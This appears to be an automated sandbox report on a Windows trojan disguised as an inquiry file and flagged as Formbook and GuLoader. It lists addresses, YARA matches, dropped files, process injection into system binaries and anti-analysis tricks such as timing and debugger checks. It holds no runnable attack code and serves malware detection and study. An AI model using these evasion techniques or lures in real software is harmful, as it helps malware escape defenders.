Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379098B2	3_2_379098B2
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378928C0	3_2_378928C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379418DA	3_2_379418DA
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379478F3	3_2_379478F3
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37893800	3_2_37893800
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE810	3_2_378BE810
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37930835	3_2_37930835
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794F872	3_2_3794F872
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37876868	3_2_37876868
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37899870	3_2_37899870
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB870	3_2_378AB870
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37593F49	3_2_37593F49
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758E4E3	3_2_3758E4E3
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758E3C5	3_2_3758E3C5
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758E87D	3_2_3758E87D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758D8E8	3_2_3758D8E8

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: String function: 378FE692 appears 84 times
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: String function: 3790EF10 appears 105 times
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: String function: 3787B910 appears 266 times
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: String function: 378D7BE4 appears 88 times
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: String function: 378C5050 appears 36 times

Source: Ricowell Ind New INQ.bat.exe, 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenamesalverede.exeDVarFileInfo$ vs Ricowell Ind New INQ.bat.exe

Source: Ricowell Ind New INQ.bat.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal88.troj.evad.winEXE@5/14@0/1

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 0_2_0040442A GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040442A

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 0_2_00402036 CoCreateInstance,MultiByteToWideChar,

0_2_00402036

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

File created: C:\Users\user\Videos\legioner.ini

Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

File created: C:\Users\user\AppData\Local\Temp\nsyE488.tmp

Jump to behavior

Source: Ricowell Ind New INQ.bat.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

File read: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Process created: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Process created: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Besiddetrang.lnk.0.dr

LNK file: ..\..\..\Program Files (x86)\rytmiskes.cry

Source: Ricowell Ind New INQ.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: wntdll.pdb source: Ricowell Ind New INQ.bat.exe

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.790743497304.0000000006DB1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 0_2_00406061 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406061

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_10002D30 push eax; ret	0_2_10002D5E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378808CD push ecx; mov dword ptr [esp], ecx	3_2_378808D6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758B527 push cs; ret	3_2_3758B529
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37589DFD push es; ret	3_2_37589E00
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_375875B5 push ebp; ret	3_2_375875B6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37585B78 push FFFFFFB7h; ret	3_2_37585B92
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37586BBD push esi; retf	3_2_37586BC0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37585A5C push esi; retf	3_2_37585AE0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758BA73 push 524A4A17h; ret	3_2_3758BAB1
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758CA67 push eax; iretd	3_2_3758CA68
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37595222 push eax; ret	3_2_37595224
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37585AC2 push esi; retf	3_2_37585AE0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758B97A push edx; ret	3_2_3758B985
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758B9E8 push 524A4A17h; ret	3_2_3758BAB1
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3758B8AE push 524A4A17h; ret	3_2_3758BAB1

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

File created: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API/Special instruction interceptor: Address: 75061D8
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API/Special instruction interceptor: Address: 3CD61D8
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API/Special instruction interceptor: Address: 7FFD926F0594
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API/Special instruction interceptor: Address: 7FFD926EFF74
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API/Special instruction interceptor: Address: 7FFD926ED6C4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API/Special instruction interceptor: Address: 7FFD926ED864
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API/Special instruction interceptor: Address: 7FFD926ED004
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926ED144
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926F0594
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926ED764
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926ED324
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926ED364
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926ED004
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926EFF74
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926ED6C4
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FFD926ED864

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 3_2_378C1763 rdtsc

3_2_378C1763

Source: C:\Windows\SysWOW64\powercfg.exe	Window / User API: threadDelayed 9852	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 893	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 866	Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

API coverage: 0.4 %

Source: C:\Windows\SysWOW64\powercfg.exe TID: 3948	Thread sleep count: 123 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 3948	Thread sleep time: -246000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 3948	Thread sleep count: 9852 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 3948	Thread sleep time: -19704000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\powercfg.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\powercfg.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_0040603A FindFirstFileA,FindClose,	0_2_0040603A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_004055F6 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055F6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_00402645 FindFirstFileA,	0_2_00402645

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API call chain: ExitProcess graph end node			graph_0-4429
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	API call chain: ExitProcess graph end node			graph_0-4263

Source: C:\Windows\SysWOW64\powercfg.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\powercfg.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 3_2_378C1763 rdtsc

3_2_378C1763

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 3_2_378C34E0 NtCreateMutant,LdrInitializeThunk,

3_2_378C34E0

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 0_2_00406061 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406061

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378FE79D mov eax, dword ptr fs:[00000030h]	3_2_378FE79D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795B781 mov eax, dword ptr fs:[00000030h]	3_2_3795B781
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795B781 mov eax, dword ptr fs:[00000030h]	3_2_3795B781
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B1796 mov eax, dword ptr fs:[00000030h]	3_2_378B1796
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B1796 mov eax, dword ptr fs:[00000030h]	3_2_378B1796
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379517BC mov eax, dword ptr fs:[00000030h]	3_2_379517BC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378807A7 mov eax, dword ptr fs:[00000030h]	3_2_378807A7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794D7A7 mov eax, dword ptr fs:[00000030h]	3_2_3794D7A7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794D7A7 mov eax, dword ptr fs:[00000030h]	3_2_3794D7A7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794D7A7 mov eax, dword ptr fs:[00000030h]	3_2_3794D7A7
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F7CF mov eax, dword ptr fs:[00000030h]	3_2_3793F7CF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AE7E0 mov eax, dword ptr fs:[00000030h]	3_2_378AE7E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378837E4 mov eax, dword ptr fs:[00000030h]	3_2_378837E4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378837E4 mov eax, dword ptr fs:[00000030h]	3_2_378837E4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378837E4 mov eax, dword ptr fs:[00000030h]	3_2_378837E4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378837E4 mov eax, dword ptr fs:[00000030h]	3_2_378837E4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378837E4 mov eax, dword ptr fs:[00000030h]	3_2_378837E4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378837E4 mov eax, dword ptr fs:[00000030h]	3_2_378837E4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378837E4 mov eax, dword ptr fs:[00000030h]	3_2_378837E4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378877F9 mov eax, dword ptr fs:[00000030h]	3_2_378877F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378877F9 mov eax, dword ptr fs:[00000030h]	3_2_378877F9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B705 mov eax, dword ptr fs:[00000030h]	3_2_3787B705
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B705 mov eax, dword ptr fs:[00000030h]	3_2_3787B705
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B705 mov eax, dword ptr fs:[00000030h]	3_2_3787B705
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B705 mov eax, dword ptr fs:[00000030h]	3_2_3787B705
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F717 mov eax, dword ptr fs:[00000030h]	3_2_3793F717
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A270D mov eax, dword ptr fs:[00000030h]	3_2_378A270D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A270D mov eax, dword ptr fs:[00000030h]	3_2_378A270D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A270D mov eax, dword ptr fs:[00000030h]	3_2_378A270D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788D700 mov ecx, dword ptr fs:[00000030h]	3_2_3788D700
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788471B mov eax, dword ptr fs:[00000030h]	3_2_3788471B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788471B mov eax, dword ptr fs:[00000030h]	3_2_3788471B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794970B mov eax, dword ptr fs:[00000030h]	3_2_3794970B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794970B mov eax, dword ptr fs:[00000030h]	3_2_3794970B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A9723 mov eax, dword ptr fs:[00000030h]	3_2_378A9723
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B174A mov eax, dword ptr fs:[00000030h]	3_2_378B174A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792E750 mov eax, dword ptr fs:[00000030h]	3_2_3792E750
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B3740 mov eax, dword ptr fs:[00000030h]	3_2_378B3740
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BA750 mov eax, dword ptr fs:[00000030h]	3_2_378BA750
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F75B mov eax, dword ptr fs:[00000030h]	3_2_3787F75B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A2755 mov eax, dword ptr fs:[00000030h]	3_2_378A2755
